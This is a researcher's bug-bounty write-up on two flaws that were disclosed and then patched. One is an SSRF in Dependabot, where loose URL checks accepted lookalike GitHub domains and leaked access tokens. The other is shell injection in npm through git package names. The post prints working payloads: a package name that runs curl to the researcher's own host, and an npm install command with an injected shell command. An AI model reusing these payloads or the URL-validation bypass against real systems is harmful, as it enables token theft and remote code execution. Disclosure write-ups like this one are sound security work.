If you are developing some applications on GitHub, you might have seen pull requests from Depedabot. It automatically finds outdated vulnerable packages and sends pull requests to fix that.
It is enabled by default and can make a commit on
dependabot/* branch of many repositories on GitHub.
Therefore, I thought If I could gain a controll of Dependabot, I can steal write permissions of those repositories.
So I started to look into Dependabot.
SSRF in Dependabot
The core module of the Dependabot is open-sourced (https://github.com/dependabot/dependabot-core), so we can use Dependabot outside of GitHub. To start the investigation, I prepared an local Dependabot environment following the official sample code.
This sample code requires GitHub access token to fetch the source code of the repository.
My first idea is to deceiving a Dependabot so that the bot will sends the token to my server instead of GitHub. This idea seems possible because there are flaws in URL validations.
One of the validations is to check whether the URL contains
github.com or not.
Obviously, this validation accepts a URL such as
Another one uses following regexp which accepts a URL such as
Based on these tricks, Dependabot treats
git+https://github.com.mocos.kitchen/username/repo as a valid GitHub’s URL.
Token stealing demo
To proof this concept, I created a sample repository that includes following
Next, I updated the
dependency_name in update-scripts.rb from the official sample code so that we can run dependency checker against the sample repository I created.
When I run the script, my server -
github.com.mocos.kitchen - received a request containing GitHub Access Token.
It means, if someone run a dependency checker against malicious repository, their GitHub Access Token will be stolen!
GET /username/repo.git/info/refs?service=git-upload-pack HTTP/1.0 Host: localhost:3000 Connection: close User-Agent: dependabot-core/0.142.0 excon/0.79.0 ruby/2.6.6 (x86_64-darwin20) (+https://github.com/dependabot/dependabot-core) Authorization: Basic eC1hY2Nlc3MtdG9rZW46Z2hw************************************* Accept-Encoding: deflate, gzip
First dive into a Dependabot server
Next, in order to try this attack in GitHub environment, I enabled Dependabot alerts in the sample repository.
We can do this by simply creating a
I successfully received a HTTP request from a Dependabot in GitHub. But contrary to my expectation, there is no GitHub Access Token in the request. Afterwards, it turns out that those servers are using special HTTP proxy which enalbes the bot to access target repository without GitHub Access Token.
GET /username/repo.git/info/refs?service=git-upload-pack HTTP/1.0 Host: localhost:3000 Connection: close User-Agent: dependabot-core/0.156.4 excon/0.83.0 ruby/2.7.1 (x86_64-linux-gnu) (+https://github.com/dependabot/dependabot-core) Accept-Encoding: gzip
I couldn’t steal the token from GitHub’s Dependabot server by SSRF, but after some investigation, I found another bug.
Get the shell of a Dependabot server
When I tried some payload, I came across with a pattern that triggers a shell command in Dependabot server.
With the package name
https://github.com/tyage/;$(curl$IFS@mocos.kitchen:3001);?/..., a shell command
curl$IFS@mocos.kitchen:3001 was executed and we could see the request!
I got the shell of the Dependabot server suddenly, but unfortunately, what we can do in the server is limited. Here is what I could do:
- Access to the internal HTTP proxy which enables us to access to the target GitHub repository
- Access to the internal API server which enalbes us to create a pull request as a Dependabot
- Bitcoin mining :)
Therefore, we couldn’t obtain read/write access of other user’s repository. (If we can pwn the internal HTTP proxy or API server, it will allow us to escalate the permission, I guess.)
Even though I couldn’t get the access to other user’s repository, I could impersonate as a verified Dependabot account and create a commit and pull request by calling internal API.
RCE in npm
By the way, what was happend to Dependabot when I changed the package name to
I found that the command was executed in
In this method, the bot runs
npm install command with
--ignore-scripts --package-lock-only arguments so that it can see if the lock file is updated without running install scripts.
Therefore, I thought Dependabot doesn’t escape the arguments, but it does properly escapes all command arguments.
So I manually run
npm install command to see what was happened and…
$ npm install 'git+https://github.com/tyage/sample-package;echo HELLO > a;' --ignore-scripts npm ERR! code 127 npm ERR! command failed npm ERR! command git ls-remote ssh://firstname.lastname@example.org/tyage/sample-package;echo HELLO > a; .git npm ERR! 8b7e1769b6df4461c8e89e6d0a2035c4512409cd HEAD npm ERR! 8b7e1769b6df4461c8e89e6d0a2035c4512409cd refs/heads/main npm ERR! 8b7e1769b6df4461c8e89e6d0a2035c4512409cd refs/tags/4.0.0 npm ERR! 8b7e1769b6df4461c8e89e6d0a2035c4512409cd refs/tags/5.0.0 npm ERR! zsh:1: command not found: .git npm ERR! A complete log of this run can be found in: npm ERR! /Users/tyage/.npm/_logs/2021-04-06T09_39_20_675Z-debug.log $ cat a HELLO
Yes, the bug is in npm!
Even if there is a
--ignore-scripts option, we can execute a shell command injected in a package name!
When we call
npm install command with
git+https://... package name,
git ls-remote command is triggered using
child_process.spawn method is called with
shell option, the command will be run inside of the shell.
opts variable, which contains npm config, as an option argument.
opts.shell is same with
shell config which default value is a
$SHELL environment variable or
bash on Posix
You can see your config of the npm with
npm config command.
$ npm config get shell /bin/zsh
Summarizing the above, npm calls
child_process.spawn so that they can execute
git ls-remote 'git+https://....', but since they set the
shell option, malicious shell command - starts from
$( - in the package name is evaluated.
I reported this bug to the teams and it was resolved in npm 7.10.0. I asked if they issue CVE but they answered they will not.
But as you know, the action “installing a malicious npm package” itself is already dangerous, so this bug only affects to limited situations such as a dependency checker.
I reported SSRF to Dependabot and RCE to npm, and received bounties $617 and $7,500 respectively.
Interestingly, both of them are in the scope of GitHub Bug Bounty Program.
Report to Dependabot:
- 2021/03/31 08:50:30 UTC Reported Dependabot issue
- 2021/04/23 09:54:22 UTC Bounty Rewarded
Report to npm:
- 2021/04/06 10:23:49 UTC Reported npm issue
- 2021/04/07 17:53:57 UTC Issue triaged
- 2021/04/28 19:41:59 UTC Issue patched
- 2021/05/04 14:42:21 UTC Bounty Rewarded